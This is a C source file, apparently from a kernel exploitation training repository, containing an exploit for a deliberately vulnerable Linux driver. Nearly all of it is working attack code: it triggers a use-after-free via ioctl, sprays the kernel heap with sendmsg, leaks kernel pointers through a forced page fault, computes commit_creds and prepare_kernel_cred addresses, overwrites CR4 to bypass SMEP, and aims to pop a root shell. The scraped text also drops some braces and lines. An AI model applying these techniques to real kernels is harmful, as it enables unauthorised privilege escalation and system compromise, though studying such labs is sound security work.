Skip to content
Switch branches/tags
Go to file
Cannot retrieve contributors at this time
#define _GNU_SOURCE
#include <sys/mman.h>
#include <sys/wait.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <stdio.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include "common.h"
#include "../src/vuln_driver.h"
#define BUFF_SIZE 96
typedef struct k_object
char buff[BUFF_SIZE];
* Here we are using the sendmsg syscall. This is a good
* one to use because the number of bytes allocated on the
* heap is determined by the user, this means we can determine
* which cache to use. The api is quite confusing and much of this
* was written after reading a lot of stackoverflow posts.
void use_after_free_sendmsg(int fd, long target, long arg)
char buff[BUFF_SIZE];
struct msghdr msg = {0};
struct sockaddr_in addr = {0};
int sockfd = socket(AF_INET, SOCK_DGRAM, 0);
memset(buff, 0x43, sizeof buff);
memcpy(buff+56, &arg, sizeof(long));
memcpy(buff+56+(sizeof(long)), &target, sizeof(long));
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
addr.sin_family = AF_INET;
addr.sin_port = htons(6666);
/* This is the data that will overwrite the vulnerable object in the heap */
msg.msg_control = buff;
/* This is the user controlled size, eventually kmalloc(msg_controllen) will occur */
msg.msg_controllen = BUFF_SIZE; // should be chdr->cmsg_len but i want to force the size
msg.msg_name = (caddr_t)&addr;
msg.msg_namelen = sizeof(addr);
ioctl(fd, ALLOC_UAF_OBJ, NULL);
ioctl(fd, FREE_UAF_OBJ, NULL);
/* Heap spray */
for(int i = 0; i < 100000; i++) {
sendmsg(sockfd, &msg, 0);
/* Trigger */
ioctl(fd, USE_UAF_OBJ, NULL);
void do_page_fault()
long info_leak_magic = 0x41414141deadbeef;
int child_fd = open(PATH, O_RDWR);
//trigger a pagefault trying to call fn()->0
use_after_free_sendmsg(child_fd, info_leak_magic, 0);
int main(void)
/* map the address */
void *addr = NULL;
if(map_and_copy(addr) == -1)
printf("[x] Error mapping address [x]\n");
int fd = open(PATH, O_RDWR);
/* Helps us differentiate calls in dmesg */
ioctl(fd, DRIVER_TEST, NULL);
/* Step 1: force a page fault to leak kernel pointers in dmesg */
pid_t pid = fork();
if(pid == 0) {
wait(NULL); //wait for the child to die
printf("[+] Child done getting address now [+]\n");
long leak = get_info_leak();
if(leak == 0) {
printf("[x] Error getting SyS_ioctl+0x79 address [x]\n");
munmap(addr, MAP_SIZE);
printf("[+] Got address %p [+]\n", (void *)leak);
long native_cr4_write = leak - CR4_WRITE_OFFSET;
prepare_kernel_cred = leak - PREPARE_CRED_OFFSET;
commit_creds = leak - COMMIT_CREDS_OFFSET;
printf("[+] Calculated address of required kernel functions [+]\n");
printf("\tnative_write_cr4: %p\n\tprepare_kernel_creds: %p\n\tcommit_creds: %p\n",
(void *)native_cr4_write, (void *)prepare_kernel_cred, (void *)commit_creds);
use_after_free_sendmsg(fd, native_cr4_write, TARGET_CR4);
use_after_free_sendmsg(fd, MMAP_ADDR, 0);
if(getuid() == 0) {
printf("[!!!] popping root shell [!!!]\n");
munmap(addr, MAP_SIZE);